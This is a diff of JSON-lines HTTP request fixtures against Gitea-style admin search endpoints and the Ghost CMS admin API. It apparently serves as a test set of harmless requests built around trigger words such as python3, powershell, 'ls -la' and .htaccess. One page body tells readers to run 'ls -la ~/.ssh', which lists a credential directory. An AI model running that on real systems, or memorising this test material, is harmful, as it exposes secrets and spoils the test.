{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
@@ -533,6 +533,8 @@
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
@@ -760,3 +762,33 @@
|
||||
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\nUEsDBAoAAAAAAM9la10AAAAAAAAAAAAAAAAMABwAbm90ZXMtdGhlbWUvVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAFBLAwQUAAAACADPZWtdXfnn43sAAACmAAAAFQAcAG5vdGVzLXRoZW1lL2luZGV4Lmhic1VUCQADpmP0aqZj9Gp1eAsAAQToAwAABOgDAAAtjlEKAyEMRP/3FHZ7AKHfqVcpwcYqWF00C4WQu1dtP+fNZCYiFzBPCnhmVt3gjak4kWuojdBHc9TOXRWwcfKZjM/Y+30XmcZjKdXdQbw5QBMbhWmeLU8qwokzjXOLDuzIiNDHUzt4sV/ngPY/pzqK8ZUKcqplZtY/2xdQSwMECgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAHABub3Rlcy10aGVtZS9wYXJ0aWFscy9VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAUEsDBBQAAAAIAM9la11tuH02lQAAAPgAAAAUABwAbm90ZXMtdGhlbWUvcGFnZS5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAXU+7DsMgDNz7FZTMVdSd5lcQoiaxBEkFzmTx77XTdGi3e+l0x3x15gkp7Jl6vzAPr60JcqESxgwm5tDawzKr7g/Wu53ccp+YCSmDhMeDDZhMgkB7BY8lzOpgmU2rUQsE+r3m/4g1IZP6P7oPusdK64hJehpEwm39zpmXW9xWgpU0ckIdcuYmN54HDrsUsWW3tH3uXd5QSwMEFAAAAAgAz2VrXY4bR/y4AAAABwEAABgAHABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAALY/BbsIwDIbvPIWVM6uKEJdJm+BJKis1baTEjuIAG6jvjpPtZvv7/Vl+OcZE7hMcSyX9qCtZuwc3k/oScg3CjV5AE8YIncNVCvQ8CEP+ravwEZBnyPKgoivF2Bx3q//3D8M4jG6/A0e8BCa14cstq2ht+Pvr1AObbeHNfKVzShhi4xiDpzP9YMqRBi/Jkubywtew9Gg2k06ZypRxaQ8dRnOFZM2k4fl3sOk9lnlCVaptVMuNtm33BlBLAwQUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAcAG5vdGVzLXRoZW1lL3Bvc3QuaGJzVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAF1Puw7DIAzc+xWUzFXUneZXEKImsQRJBc5k8e+103Rot3vpdMd8deYJKeyZer8wD6+tCXKhEsYMJubQ2sMyq+4P1rud3HKfmAkpg4THgw2YTIJAewWPJczqYJlNq1ELBPq95v+INSGT+j+6D7rHSuuISXoaRMJt/c6Zl1vcVoKVNHJCHXLmJjeeBw67FLFlt7R97l3eUE